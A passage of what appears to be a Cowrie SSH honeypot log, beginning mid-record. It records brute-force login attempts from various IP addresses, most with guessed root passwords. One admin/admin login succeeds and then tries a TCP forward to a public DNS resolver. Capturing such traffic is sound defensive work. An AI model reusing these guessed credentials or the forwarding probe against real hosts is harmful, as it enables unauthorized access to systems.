macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:22.908973Z","src_ip":"103.149.28.157","session":"e4323b9baa37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":49666,"dst_ip":"10.17.0.5","dst_port":22,"session":"7402e9b837b3","protocol":"ssh","message":"New connection: 103.115.56.3:49666 (10.17.0.5:22) [session: 7402e9b837b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:23.581650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:23.586662Z","src_ip":"103.115.56.3","session":"7402e9b837b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369258147","message":"login attempt [root/369258147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:23.651567Z","src_ip":"103.149.28.157","session":"e4323b9baa37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:23.805497Z","src_ip":"103.115.56.3","session":"7402e9b837b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morgan123","message":"login attempt [root/morgan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:24.267226Z","src_ip":"103.115.56.3","session":"7402e9b837b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:24.899828Z","src_ip":"103.149.28.157","session":"e4323b9baa37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:25.485294Z","src_ip":"103.115.56.3","session":"7402e9b837b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":58104,"dst_ip":"10.17.0.5","dst_port":22,"session":"f541c9a69532","protocol":"ssh","message":"New connection: 170.106.191.31:58104 (10.17.0.5:22) [session: f541c9a69532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:35.911776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:35.917046Z","src_ip":"170.106.191.31","session":"f541c9a69532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:35.984914Z","src_ip":"170.106.191.31","session":"f541c9a69532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juris","message":"login attempt [root/juris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:36.289157Z","src_ip":"170.106.191.31","session":"f541c9a69532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:37.361049Z","src_ip":"170.106.191.31","session":"f541c9a69532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":1247,"dst_ip":"10.17.0.5","dst_port":22,"session":"4177b223d9db","protocol":"ssh","message":"New connection: 102.88.137.213:1247 (10.17.0.5:22) [session: 4177b223d9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:46.318831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:46.331162Z","src_ip":"102.88.137.213","session":"4177b223d9db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:46.510409Z","src_ip":"102.88.137.213","session":"4177b223d9db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100403","message":"login attempt [root/100403] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:47.258516Z","src_ip":"102.88.137.213","session":"4177b223d9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33802,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c4371b7434","protocol":"ssh","message":"New connection: 87.251.64.176:33802 (10.17.0.5:22) [session: 67c4371b7434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:47.707142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:47.713203Z","src_ip":"87.251.64.176","session":"67c4371b7434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:47.810524Z","src_ip":"87.251.64.176","session":"67c4371b7434","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:48.103211Z","src_ip":"87.251.64.176","session":"67c4371b7434","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:48.201512Z","session":"67c4371b7434","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:48.299580Z","src_ip":"87.251.64.176","session":"67c4371b7434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:48.399200Z","src_ip":"87.251.64.176","session":"67c4371b7434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:08:48.440492Z","src_ip":"102.88.137.213","session":"4177b223d9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56096,"dst_ip":"10.17.0.5","dst_port":22,"session":"76d40a6bff20","protocol":"ssh","message":"New connection: 80.94.92.184:56096 (10.17.0.5:22) [session: 76d40a6bff20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:15.309317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:15.445587Z","src_ip":"80.94.92.184","session":"76d40a6bff20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:15.450651Z","src_ip":"80.94.92.184","session":"76d40a6bff20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:16.781912Z","src_ip":"80.94.92.184","session":"76d40a6bff20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:18.185480Z","src_ip":"80.94.92.184","session":"76d40a6bff20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":46908,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1c85a470cd2","protocol":"ssh","message":"New connection: 103.115.56.3:46908 (10.17.0.5:22) [session: e1c85a470cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:38.304087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:38.320838Z","src_ip":"103.115.56.3","session":"e1c85a470cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:38.520468Z","src_ip":"103.115.56.3","session":"e1c85a470cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rsl","message":"login attempt [root/rsl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:39.363662Z","src_ip":"103.115.56.3","session":"e1c85a470cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":34116,"dst_ip":"159.203.135.109","dst_port":22,"session":"be4a86377e12","protocol":"ssh","message":"New connection: 124.156.196.131:34116 (159.203.135.109:22) [session: be4a86377e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:39.516478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:39.525373Z","src_ip":"124.156.196.131","session":"be4a86377e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:39.771029Z","src_ip":"124.156.196.131","session":"be4a86377e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:40.591127Z","src_ip":"103.115.56.3","session":"e1c85a470cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf2026","message":"login attempt [root/Asdf2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:40.785090Z","src_ip":"124.156.196.131","session":"be4a86377e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:42.034115Z","src_ip":"124.156.196.131","session":"be4a86377e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":33186,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5d7967b1051","protocol":"ssh","message":"New connection: 170.106.191.31:33186 (10.17.0.5:22) [session: e5d7967b1051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:45.648471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:45.653359Z","src_ip":"170.106.191.31","session":"e5d7967b1051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:45.721257Z","src_ip":"170.106.191.31","session":"e5d7967b1051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dilbert","message":"login attempt [root/dilbert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:09:46.023890Z","src_ip":"170.106.191.31","session":"e5d7967b1051","protocol":"ssh"}
